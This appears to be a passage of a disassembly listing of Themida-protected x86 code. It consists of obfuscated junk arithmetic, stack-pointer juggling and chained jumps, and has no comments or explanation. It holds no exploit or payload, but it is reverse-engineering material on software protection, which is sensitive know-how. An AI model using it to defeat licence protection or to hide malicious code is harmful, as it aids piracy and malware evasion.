		and	eax, 75D433C7h
		xor	eax, 592C1060h
		jmp	loc_5AC439
; ---------------------------------------------------------------------------


loc_5AE5F4:				; CODE XREF: Themida_:005A74C4j
		mov	esp, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5A568F
; ---------------------------------------------------------------------------


loc_5AE603:				; CODE XREF: Themida_:005AD02Ej
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		push	edx
		mov	edx, 6E88297Bh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59AC30
; ---------------------------------------------------------------------------


loc_5AE639:				; CODE XREF: Themida_:005A390Aj
		mov	esp, [esp]
		idiv	cl
		jmp	loc_59C621
; ---------------------------------------------------------------------------


loc_5AE643:				; CODE XREF: Themida_:005AC373j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_599340
; ---------------------------------------------------------------------------


loc_5AE65C:				; CODE XREF: Themida_:0059DE0Fj
		sub	esi, 6CDC5209h
		add	esi, eax
		add	esi, 6CDC5209h
		jmp	loc_5A585F
; ---------------------------------------------------------------------------


loc_5AE66F:				; CODE XREF: Themida_:005A936Fj
		mov	esi, ebx
		pop	ebx
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		jmp	loc_5AB249
; ---------------------------------------------------------------------------


loc_5AE684:				; CODE XREF: Themida_:0059B344j
		xor	eax, edx
		xor	edx, eax
		push	ecx
		push	esi
		mov	esi, 918A92D4h
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edx, ecx
		jmp	loc_59B151
; ---------------------------------------------------------------------------


loc_5AE69E:				; CODE XREF: Themida_:005ABCDBj
		push	3DCDh
		mov	[esp], ecx
		mov	ecx, 54C2345Dh
		or	ecx, 5B352D46h
		jg	loc_5A9B97
		and	ecx, 1B73484Ah
		jmp	loc_5A9C3B
; ---------------------------------------------------------------------------


loc_5AE6C2:				; CODE XREF: Themida_:005A06ABj
		add	esp, 4
		add	eax, 2
		jmp	loc_59A419
; ---------------------------------------------------------------------------


loc_5AE6D0:				; CODE XREF: Themida_:005A342Aj
		push	esi
		push	ecx
		mov	ecx, 5BE6564Dh
		sub	ecx, 3CFB4D98h
		jmp	loc_5A8B40
; ---------------------------------------------------------------------------


loc_5AE6E2:				; CODE XREF: Themida_:0059D5D0j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_59FE19
; ---------------------------------------------------------------------------


loc_5AE700:				; CODE XREF: Themida_:0059A10Ej
		mov	esi, [esp]
		add	esp, 4
		shl	ebx, 4
		jmp	loc_5AC14D
; ---------------------------------------------------------------------------


loc_5AE70E:				; CODE XREF: Themida_:005AACC6j
		sub	esi, 4F8C5174h
		jmp	loc_5A141B
; ---------------------------------------------------------------------------


loc_5AE719:				; CODE XREF: Themida_:005A25D7j
		push	0C8Fh
		mov	[esp], ecx
		jmp	loc_5AFCB0
; ---------------------------------------------------------------------------


loc_5AE726:				; CODE XREF: Themida_:005995AFj
		mov	edi, eax
		pop	eax
		and	edi, 5D9D6050h
		jmp	loc_59FE9A
; ---------------------------------------------------------------------------


loc_5AE734:				; CODE XREF: Themida_:005AAC06j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A87E2
; ---------------------------------------------------------------------------


loc_5AE73F:				; CODE XREF: Themida_:005A7227j
		xor	ecx, edx
		pop	edx
		jmp	loc_5A4B0D
; ---------------------------------------------------------------------------


loc_5AE747:				; CODE XREF: Themida_:005A45BDj
		and	edx, 6AAF69CDh
		shl	edx, 1
		push	eax
		mov	eax, 313226B5h
		sub	edx, eax
		jmp	loc_5AB52D
; ---------------------------------------------------------------------------


loc_5AE75C:				; CODE XREF: Themida_:005A5AC1j
		mov	cl, bh
		pop	ebx
		jmp	loc_599BE5
; ---------------------------------------------------------------------------


loc_5AE764:				; CODE XREF: Themida_:loc_59C6B8j
					; Themida_:005AB742j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_5A3401
; ---------------------------------------------------------------------------


loc_5AE776:				; CODE XREF: Themida_:005A1265j
		xchg	edx, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5AEC82
; ---------------------------------------------------------------------------


loc_5AE785:				; CODE XREF: Themida_:005A49B4j
					; Themida_:005A5FEBj
		push	eax
		jmp	loc_5AA161
; ---------------------------------------------------------------------------


loc_5AE78B:				; CODE XREF: Themida_:005A604Dj
					; Themida_:005AA90Cj
		sub	[esp+4], esi
		jmp	loc_5A3BCE
; ---------------------------------------------------------------------------


loc_5AE794:				; CODE XREF: Themida_:00599EBAj
		sub	esi, ebp
		pop	ebp
		add	esi, ecx
		add	esi, 593B4DCFh
		pop	ecx
		push	eax
		jmp	loc_5AF5EF
; ---------------------------------------------------------------------------


loc_5AE7A6:				; CODE XREF: Themida_:005A804Cj
		mov	si, 5B66h
		inc	si
		jg	loc_5A0FE3
		sub	si, 5B65h
		mov	cx, si
		jmp	loc_5AF768
; ---------------------------------------------------------------------------
		push	esp


loc_5AE7C0:				; CODE XREF: Themida_:005A2373j
		jmp	loc_59CFB7
; ---------------------------------------------------------------------------


loc_5AE7C5:				; CODE XREF: Themida_:005AC7D3j
		add	edi, ebx
		push	eax
		mov	eax, 0F515054h
		or	eax, 7FF0DFCh
		or	eax, 53017C44h
		push	esi
		mov	esi, 61E16A5Fh
		sub	esi, 0FE20233Eh
		inc	esi
		jmp	loc_5AACCB
; ---------------------------------------------------------------------------


loc_5AE7E9:				; CODE XREF: Themida_:005A0454j
		pop	eax
		shl	eax, 2
		sub	eax, 4F1B35FEh
		jmp	loc_59FDD6
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AE7FE:				; CODE XREF: Themida_:005A364Fj
		shr	al, 5
		or	al, 80h
		ja	loc_5A51D9
		add	al, 0E7h
		mov	dl, al
		jmp	loc_5A2230
; ---------------------------------------------------------------------------
		mov	ecx, eax
		mov	eax, ecx


loc_5AE816:				; CODE XREF: Themida_:005A7955j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5A945E
; ---------------------------------------------------------------------------


loc_5AE81F:				; CODE XREF: Themida_:0059CE49j
		add	ebx, 3D1778FBh
		add	ebx, 2D74210Ah
		add	ebx, 37A52391h
		add	ebx, 61D54718h
		sub	ebx, ecx
		sub	ebx, 61D54718h
		jmp	loc_5A4F8E
; ---------------------------------------------------------------------------


loc_5AE844:				; CODE XREF: Themida_:005A3DB4j
		xor	ebx, [esp]
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_5A01AB
; ---------------------------------------------------------------------------


loc_5AE851:				; CODE XREF: Themida_:005A1298j
		push	edi
		mov	edi, 0AA3FFDh
		add	edx, edi
		jmp	loc_59DC88
; ---------------------------------------------------------------------------


loc_5AE85E:				; CODE XREF: Themida_:005A8AF2j
		xor	dx, si
		pop	esi
		push	ebx
		push	small 2550h
		jmp	loc_59E734
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	edi
		jmp	loc_59EF6F
; ---------------------------------------------------------------------------


loc_5AE875:				; CODE XREF: Themida_:005A3BC9j
		mov	eax, 4
		mov	ebp, eax
		pop	eax
		sub	edx, 4C41089Dh
		jmp	loc_5AEE8D
; ---------------------------------------------------------------------------


loc_5AE888:				; CODE XREF: Themida_:005A684Dj
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AE88D:				; CODE XREF: Themida_:0059967Dj
		or	edx, 37A22449h
		jle	loc_5A7F22
		jmp	loc_59987F
; ---------------------------------------------------------------------------


loc_5AE89E:				; CODE XREF: Themida_:0059E9E9j
		neg	esi
		add	esi, 98D35681h
		sub	ecx, 75D10E05h
		sub	ecx, esi
		add	ecx, 75D10E05h
		pop	esi
		sub	ecx, 0BC5A84FCh
		push	ecx
		pop	eax
		pop	ecx
		push	4357h
		mov	[esp], edx
		mov	edx, 3C4369Fh
		and	eax, edx
		pop	edx
		add	eax, 4E819B3h
		or	edi, eax
		mov	eax, [esp]
		jmp	loc_5A8F97
; ---------------------------------------------------------------------------


loc_5AE8DD:				; CODE XREF: Themida_:005A2B0Aj
		add	esp, 4
		jmp	loc_59CA4F
; ---------------------------------------------------------------------------


loc_5AE8E5:				; CODE XREF: Themida_:005A5CA8j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5A761A
; ---------------------------------------------------------------------------


loc_5AE8F3:				; CODE XREF: Themida_:00599A85j
		pop	edx
		sub	ebp, 4DDD0D89h
		add	ebp, 45591184h
		sub	ebp, eax
		sub	ebp, 45591184h
		push	ecx
		mov	ecx, 279D114Bh
		xor	ecx, 1254703Eh
		inc	ecx
		not	ecx
		and	ecx, 7E4A0976h
		add	ecx, 17C95910h
		xor	ecx, 1E980C0Eh
		sub	ecx, 31765F95h
		add	ebp, ecx
		pop	ecx
		pop	eax
		add	ebx, ebp
		pop	ebp
		push	esi
		mov	esi, 4
		jmp	loc_5AA26D
; ---------------------------------------------------------------------------


loc_5AE941:				; CODE XREF: Themida_:0059C748j
		mov	[esp], edx
		jmp	loc_59EAC1
; ---------------------------------------------------------------------------


loc_5AE949:				; CODE XREF: Themida_:0059977Aj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	23A3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	641h
		mov	[esp], eax
		jmp	loc_5AB058
; ---------------------------------------------------------------------------


loc_5AE978:				; CODE XREF: Themida_:0059F004j
		sub	esp, 4
		jmp	loc_59D09A
; ---------------------------------------------------------------------------


loc_5AE980:				; CODE XREF: Themida_:005A22C9j
		add	esp, 4
		jmp	loc_5A3D24
; ---------------------------------------------------------------------------


loc_5AE98B:				; CODE XREF: Themida_:005ADEA4j
		pop	eax
		mov	ebp, edx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		jmp	loc_5A545C
; ---------------------------------------------------------------------------


loc_5AE9A0:				; CODE XREF: Themida_:0059BA53j
		jmp	loc_5AA487
; ---------------------------------------------------------------------------


loc_5AE9A5:				; CODE XREF: Themida_:0059F23Bj
		pop	edi
		jmp	loc_59DBB3
; ---------------------------------------------------------------------------


loc_5AE9AB:				; CODE XREF: Themida_:005AA5BBj
		inc	esi
		dec	esi
		shl	esi, 3
		jmp	loc_5A2094
; ---------------------------------------------------------------------------


loc_5AE9B5:				; CODE XREF: Themida_:005A87F7j
		add	edx, ebx
		push	2516h
		jmp	loc_5A4C83
; ---------------------------------------------------------------------------


loc_5AE9C1:				; CODE XREF: Themida_:00598B27j
		pop	ebx
		jmp	loc_5A8C04
; ---------------------------------------------------------------------------


loc_5AE9C7:				; CODE XREF: Themida_:005A9E2Cj
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		jmp	loc_5ACA79
; ---------------------------------------------------------------------------


loc_5AE9DD:				; CODE XREF: Themida_:005A363Bj
		push	edi
		jmp	loc_5A3661
; ---------------------------------------------------------------------------


loc_5AE9E3:				; CODE XREF: Themida_:005A4EB0j
		mov	cl, 0C9h
		sub	cl, bl
		jmp	loc_5A08FE
; ---------------------------------------------------------------------------


loc_5AE9EC:				; CODE XREF: Themida_:005A4352j
		add	edi, esi
		pop	esi
		jmp	loc_5A0DDF
; ---------------------------------------------------------------------------


loc_5AE9F4:				; CODE XREF: Themida_:005A0F94j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	2A68h
		jmp	loc_59A4AF
; ---------------------------------------------------------------------------


loc_5AEA0A:				; CODE XREF: Themida_:0059AB03j
		add	ebx, ecx
		jmp	loc_5A5D17
; ---------------------------------------------------------------------------


loc_5AEA11:				; CODE XREF: Themida_:0059E3C8j
					; Themida_:loc_5ADED5j
		xor	edx, eax
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AEA18:				; CODE XREF: Themida_:005ABA5Fj
		push	ecx
		jmp	loc_5AF69B
; ---------------------------------------------------------------------------


loc_5AEA1E:				; CODE XREF: Themida_:005990CBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		push	4DF3h
		mov	[esp], ecx
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AEA34:				; CODE XREF: Themida_:005AD496j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_59CB63
; ---------------------------------------------------------------------------


loc_5AEA43:				; CODE XREF: Themida_:005A44C4j
		ja	loc_59BE73
		push	ecx
		push	ebp
		jmp	loc_5A1213
; ---------------------------------------------------------------------------
		pop	esi
		push	ebx
		and	al, 7Fh


loc_5AEA54:				; CODE XREF: Themida_:0059B7FBj
					; Themida_:loc_5ACC0Fj
		xor	ebx, 1C2253A0h
		jl	loc_5AEF08
		sub	ebx, 17729FB3h
		mov	[edi+20h], ebx
		jmp	loc_5A51D9
; ---------------------------------------------------------------------------


loc_5AEA6E:				; CODE XREF: Themida_:005A92AAj
		sub	eax, ecx
		jmp	loc_5A1A49
; ---------------------------------------------------------------------------


loc_5AEA75:				; CODE XREF: Themida_:005A9653j
		push	eax
		push	ebp
		jmp	loc_5A8C1B
; ---------------------------------------------------------------------------


loc_5AEA7C:				; CODE XREF: Themida_:0059E4E2j
		push	edi
		mov	edi, esp
		jmp	loc_59A862
; ---------------------------------------------------------------------------


loc_5AEA84:				; CODE XREF: Themida_:005AAB0Fj
		sub	eax, 2FC40B6Bh
		jb	loc_59FED4
		add	eax, 0DB8E193Dh
		mov	esi, eax
		mov	eax, [esp]
		jmp	loc_5A90A6
; ---------------------------------------------------------------------------


loc_5AEA9E:				; CODE XREF: Themida_:005A207Cj
		shr	ebp, 2
		neg	ebp
		sub	ebp, 924CFBCBh
		push	7F5Bh
		mov	[esp], eax
		mov	eax, 18900390h
		shr	eax, 7
		shr	eax, 4
		jmp	loc_5A3C65
; ---------------------------------------------------------------------------


loc_5AEAC1:				; CODE XREF: Themida_:005989B8j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_5997CF
; ---------------------------------------------------------------------------


loc_5AEACE:				; CODE XREF: Themida_:005A9B30j
		push	6C9Ah
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5A45CD
; ---------------------------------------------------------------------------


loc_5AEAE0:				; CODE XREF: Themida_:005AD8C3j
		mov	eax, 7F3804D2h
		sub	eax, 0F335D06h
		xor	eax, 713B3A7Bh
		add	eax, 900C424Ch
		add	edi, eax
		pop	eax
		and	ebp, edi
		jmp	loc_59A90F
; ---------------------------------------------------------------------------


loc_5AEAFE:				; CODE XREF: Themida_:0059C3CDj
		or	ebp, eax
		jmp	loc_59C737
; ---------------------------------------------------------------------------


loc_5AEB05:				; CODE XREF: Themida_:0059DDEEj
					; Themida_:005A1FECj
		xor	[esp], esi
		jmp	loc_59B3E3
; ---------------------------------------------------------------------------


loc_5AEB0D:				; CODE XREF: Themida_:005A999Dj
		sub	dword ptr [esp], 39CA6F5Eh
		jmp	loc_59DA89
; ---------------------------------------------------------------------------


loc_5AEB19:				; CODE XREF: Themida_:005AAD81j
		pop	edx
		xor	edi, 3BC92D7Dh
		push	ecx
		jmp	loc_5A9D6E
; ---------------------------------------------------------------------------


loc_5AEB26:				; CODE XREF: Themida_:005A38EAj
		sub	al, 25h
		pop	ecx
		sub	al, 4Ah
		add	al, bl
		add	al, 4Ah
		push	ebx
		mov	bl, 0E8h
		or	bl, 0B9h
		shl	bl, 2
		push	edx
		mov	dl, 3Fh
		jmp	loc_59B929
; ---------------------------------------------------------------------------


loc_5AEB40:				; CODE XREF: Themida_:005A38B3j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		mov	dh, 0F1h
		mov	ah, dh
		push	dword ptr [esp]
		jmp	loc_5A1B56
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4BDEh
		mov	[esp], ebp
		push	1FE0h
		push	esp
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		sub	dword ptr [esp+4], 4A7C6D7Dh
		add	[esp+4], esi
		add	dword ptr [esp+4], 4A7C6D7Dh
		jmp	loc_59B450
; ---------------------------------------------------------------------------


loc_5AEB91:				; CODE XREF: Themida_:0059CF0Fj
					; Themida_:0059D2D3j
		mov	eax, 2EC373FFh
		mov	ebx, eax
		pop	eax
		or	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	edi, 1C3B0D90h
		dec	edi
		jmp	loc_5A258A
; ---------------------------------------------------------------------------


loc_5AEBAE:				; CODE XREF: Themida_:loc_59CBD0j
					; Themida_:005A3431j
		xor	ecx, 9CE96EF3h
		neg	ecx
		xor	ecx, 226A0E98h
		shr	ecx, 8
		jmp	loc_5A706F
; ---------------------------------------------------------------------------


loc_5AEBC4:				; CODE XREF: Themida_:005A86C1j
		sub	dword ptr [esp], 56555F3Ah
		jmp	loc_5A71D1
; ---------------------------------------------------------------------------


loc_5AEBD0:				; CODE XREF: Themida_:0059CF5Dj
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A6E47
; ---------------------------------------------------------------------------


loc_5AEBDE:				; CODE XREF: Themida_:loc_59F424j
		xor	ebp, 5410B164h
		push	ebp
		jmp	loc_5ABDC9
; ---------------------------------------------------------------------------


loc_5AEBEA:				; CODE XREF: Themida_:loc_598D97j
		xor	ebx, 0B369F022h
		mov	ecx, ebx
		jmp	loc_5ACF5E
; ---------------------------------------------------------------------------


loc_5AEBF7:				; CODE XREF: Themida_:00598DFEj
		add	ebp, 4CBD236Ch
		add	ebp, ebx
		sub	ebp, 4CBD236Ch
		pop	ebx
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		jmp	loc_59FFB2
; ---------------------------------------------------------------------------


loc_5AEC14:				; CODE XREF: Themida_:005A8719j
		xor	ebp, 3840200Ch
		jp	loc_59B017
		inc	ebp
		js	loc_599059
		push	edi
		mov	ebx, ebp
		push	ebp


loc_5AEC2B:				; CODE XREF: Themida_:005AC94Bj
		push	esp
		mov	eax, [esp]
		jmp	loc_5AAFA5
; ---------------------------------------------------------------------------


loc_5AEC34:				; CODE XREF: Themida_:0059C0C4j
		mov	[esp], ecx
		jmp	loc_59CFF2
; ---------------------------------------------------------------------------


loc_5AEC3C:				; CODE XREF: Themida_:005A9157j
		shr	eax, 2
		sub	eax, 69C9434Eh
		add	edi, eax
		pop	eax
		add	eax, edi
		pop	edi
		add	eax, 2CC42468h
		sub	eax, 16200E4Eh
		sub	eax, 4DA443A1h
		sub	eax, ecx
		add	eax, 4DA443A1h
		jmp	loc_5A06BB
; ---------------------------------------------------------------------------


loc_5AEC65:				; CODE XREF: Themida_:0059BDA5j
		push	ebx
		sub	dword ptr [esp], 0D84053Ch
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 0D84053Ch
		pop	ebx
		jmp	loc_5A53CB
; ---------------------------------------------------------------------------


loc_5AEC82:				; CODE XREF: Themida_:005AE780j
		add	esp, 4
		or	[esp], eax
		pushf
		jmp	loc_59D463
; ---------------------------------------------------------------------------


loc_5AEC8E:				; CODE XREF: Themida_:0059B572j
		mov	ebx, 32EE7D04h
		or	ebx, 53D87871h
		jmp	loc_59C7E6
; ---------------------------------------------------------------------------


loc_5AEC9E:				; CODE XREF: Themida_:005AFAABj
		xchg	ebx, [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		and	ecx, esi
		jmp	loc_5ABA8A
; ---------------------------------------------------------------------------


loc_5AECB3:				; CODE XREF: Themida_:0059D525j
		dec	ecx
		push	eax
		mov	eax, 161A4C31h
		xor	ecx, eax
		pop	eax
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A899E
; ---------------------------------------------------------------------------


loc_5AECD7:				; CODE XREF: Themida_:005A5F2Aj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A44FB
; ---------------------------------------------------------------------------


loc_5AECE5:				; CODE XREF: Themida_:loc_59EE1Aj
		sub	esi, 8ED0E305h
		shr	esi, 2
		jmp	loc_59B077
; ---------------------------------------------------------------------------


loc_5AECF3:				; CODE XREF: Themida_:005A8543j
		pop	edx
		add	ecx, ebx
		jmp	loc_5AD088
; ---------------------------------------------------------------------------


loc_5AECFB:				; CODE XREF: Themida_:0059FE84j
		pop	esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		jmp	loc_5AF2E4
; ---------------------------------------------------------------------------


loc_5AED13:				; CODE XREF: Themida_:005A0E67j
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5ABBD8
; ---------------------------------------------------------------------------


loc_5AED20:				; CODE XREF: Themida_:005A6296j
		add	esi, edi
		jmp	loc_59A384
; ---------------------------------------------------------------------------


loc_5AED27:				; CODE XREF: Themida_:005AC4B4j
		add	bl, al
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5ADA0C
; ---------------------------------------------------------------------------


loc_5AED3D:				; CODE XREF: Themida_:loc_5A2441j
		push	ebx
		mov	ebx, 12AA7922h
		add	edi, ebx
		pop	ebx
		xor	edi, 0EBC17BEDh
		shl	edi, 5
		or	edi, 26BD0E9Eh
		jmp	loc_5A1A61
; ---------------------------------------------------------------------------


loc_5AED5A:				; CODE XREF: Themida_:005A70E9j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		push	edx
		push	36A539EFh
		pop	edx
		inc	edx
		sub	edx, 0C70AE7A7h
		jmp	loc_5AF3F4
; ---------------------------------------------------------------------------


loc_5AED7D:				; CODE XREF: Themida_:005ABD23j
		pop	ebp
		jmp	loc_599648
; ---------------------------------------------------------------------------


loc_5AED83:				; CODE XREF: Themida_:005A57AEj
		mov	eax, 4
		add	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	edx
		push	31E4h
		mov	[esp], ebx
		mov	ebx, 5C3701C0h
		sub	ebx, 67C710BCh
		sub	ebx, 0FFFFFFFFh
		xchg	ecx, ebx
		not	ecx
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_5A692D
; ---------------------------------------------------------------------------

locret_5AEDC9:				; CODE XREF: Themida_:0059D289j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AEDCF:				; CODE XREF: Themida_:005ADB44j
		sub	edx, 68964CE5h
		jmp	loc_59E842
; ---------------------------------------------------------------------------


loc_5AEDDA:				; CODE XREF: Themida_:005AAF04j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5ADAB6
; ---------------------------------------------------------------------------


loc_5AEDE7:				; CODE XREF: Themida_:0059B6B2j
		pop	eax
		add	esp, 4
		add	eax, 4
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_5AE266
; ---------------------------------------------------------------------------


loc_5AEDFC:				; CODE XREF: Themida_:00598D92j
					; Themida_:005AA4EEj
		add	word ptr [esp+4], 1217h
		add	[esp+4], dx
		jmp	loc_59D8BF
; ---------------------------------------------------------------------------


loc_5AEE0D:				; CODE XREF: Themida_:0059BE45j
					; Themida_:005A079Fj ...
		sub	esp, 4
		jmp	loc_5AFB1D
; ---------------------------------------------------------------------------


loc_5AEE18:				; CODE XREF: Themida_:005A4D44j
					; Themida_:005A4F3Fj
		add	cl, 12h
		add	cl, 0F5h
		sub	dh, 68h
		add	dh, cl
		jmp	loc_5A7050
; ---------------------------------------------------------------------------


loc_5AEE28:				; CODE XREF: Themida_:005A9960j
		mov	eax, [esp]
		add	esp, 4
		push	37C0h
		mov	[esp], esi
		mov	esi, 986655Ch
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_59BB45
; ---------------------------------------------------------------------------


loc_5AEE4F:				; CODE XREF: Themida_:005A5641j
					; Themida_:005ACC1Bj
		xor	eax, 4869C23h
		add	ebx, eax
		jmp	loc_59FD5C
; ---------------------------------------------------------------------------


loc_5AEE5B:				; CODE XREF: Themida_:005A34F9j
		mov	ebp, 4
		sub	eax, 57515842h
		jmp	loc_5A11FF
; ---------------------------------------------------------------------------


loc_5AEE6A:				; CODE XREF: Themida_:005A9405j
					; Themida_:005AB22Bj
		neg	cl
		xor	cl, 2Dh
		xor	cl, 47h
		jmp	loc_5997A7
; ---------------------------------------------------------------------------


loc_5AEE77:				; CODE XREF: Themida_:005AA047j
		sub	edi, ecx
		jmp	loc_59A02A
; ---------------------------------------------------------------------------


loc_5AEE7E:				; CODE XREF: Themida_:005A495Dj
		mov	ah, 92h
		add	dh, ah
		pop	ax
		and	al, dh
		pop	edx
		push	edx
		jmp	loc_599E04
; ---------------------------------------------------------------------------


loc_5AEE8D:				; CODE XREF: Themida_:005AE883j
		add	edx, ebp
		jmp	loc_5AC57C
; ---------------------------------------------------------------------------


loc_5AEE94:				; CODE XREF: Themida_:005AB573j
		pop	ecx
		jmp	loc_5A0785
; ---------------------------------------------------------------------------


loc_5AEE9A:				; CODE XREF: Themida_:005AB129j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A3BE2
; ---------------------------------------------------------------------------


loc_5AEEA3:				; CODE XREF: Themida_:0059D31Aj
		pop	esp
		push	esi
		push	ebx
		push	2D4D62A8h
		pop	ebx
		jmp	loc_5AD195
; ---------------------------------------------------------------------------


loc_5AEEB1:				; CODE XREF: Themida_:005AC4A1j
		shl	eax, 3
		jmp	loc_5A7EF1
; ---------------------------------------------------------------------------


loc_5AEEB9:				; CODE XREF: Themida_:005AA89Bj
		mov	[esp], edx
		mov	edx, 4FCC094Ch
		dec	edx
		add	edx, 0C233397Ah
		jmp	loc_5A1968
; ---------------------------------------------------------------------------


loc_5AEECD:				; CODE XREF: Themida_:00598B1Ej
					; Themida_:loc_5A6BDCj
		pop	esi
		push	edi
		jmp	loc_5AA2E4
; ---------------------------------------------------------------------------


loc_5AEED4:				; CODE XREF: Themida_:005A3487j
		jmp	loc_5A6FD3
; ---------------------------------------------------------------------------


loc_5AEED9:				; CODE XREF: Themida_:005A1A2Fj
		xor	ebx, 62637CCCh
		push	ebx
		jmp	loc_5A85CB
; ---------------------------------------------------------------------------


loc_5AEEE5:				; CODE XREF: Themida_:00599BAEj
		add	eax, edx
		add	eax, 34D22E95h
		jmp	loc_5AF2D4
; ---------------------------------------------------------------------------


loc_5AEEF1:				; CODE XREF: Themida_:005994D0j
					; Themida_:loc_5AA00Fj
		and	ebx, 0E02D7Dh
		jnp	loc_59E63C
		dec	ebx
		jg	loc_5A7712
		sub	ah, 9Ch
		push	ecx


loc_5AEF08:				; CODE XREF: Themida_:005AD05Ej
					; Themida_:005AEA5Aj
		jp	loc_5A4636
		push	eax
		not	byte ptr [esp+1]
		pop	eax
		neg	ah
		jmp	loc_5A3093
; ---------------------------------------------------------------------------


loc_5AEF1B:				; CODE XREF: Themida_:005A9A19j
		sub	edx, 167173Dh
		jmp	loc_5AD14C
; ---------------------------------------------------------------------------


loc_5AEF26:				; CODE XREF: Themida_:005A613Cj
		pop	ebx
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		push	1C66h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5AF6B1
; ---------------------------------------------------------------------------


loc_5AEF3D:				; CODE XREF: Themida_:loc_59C5A6j
		inc	ecx
		jle	loc_5A75A4
		sub	ecx, 0B74A92D7h
		mov	esi, ecx
		mov	esi, edi


loc_5AEF4E:				; CODE XREF: Themida_:0059BA9Bj
		xchg	ah, dh
		not	ah
		jmp	loc_5A0DA8
; ---------------------------------------------------------------------------


loc_5AEF57:				; CODE XREF: Themida_:005AA3CFj
		shr	ebp, 5
		push	edx
		mov	edx, 3A91247Ah
		add	edx, 65374DAEh
		sub	edx, 4DF508CDh
		jmp	loc_59DFB5
; ---------------------------------------------------------------------------


loc_5AEF71:				; CODE XREF: Themida_:005A6044j
					; Themida_:005A7E13j
		xor	edi, 0B9677546h
		add	esi, 57F54D20h
		add	esi, edi
		sub	esi, 57F54D20h
		pop	edi
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5A9989
; ---------------------------------------------------------------------------


loc_5AEF94:				; CODE XREF: Themida_:005ADF1Ej
		movzx	ax, byte ptr fs:[edx]
		push	edi
		push	764Ch
		mov	[esp], esp
		jmp	loc_5A0022
; ---------------------------------------------------------------------------


loc_5AEFA7:				; CODE XREF: Themida_:005AF725j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		jmp	loc_5A00AB
; ---------------------------------------------------------------------------


loc_5AEFB8:				; CODE XREF: Themida_:005A90C6j
		push	ebx
		jmp	loc_5A8269
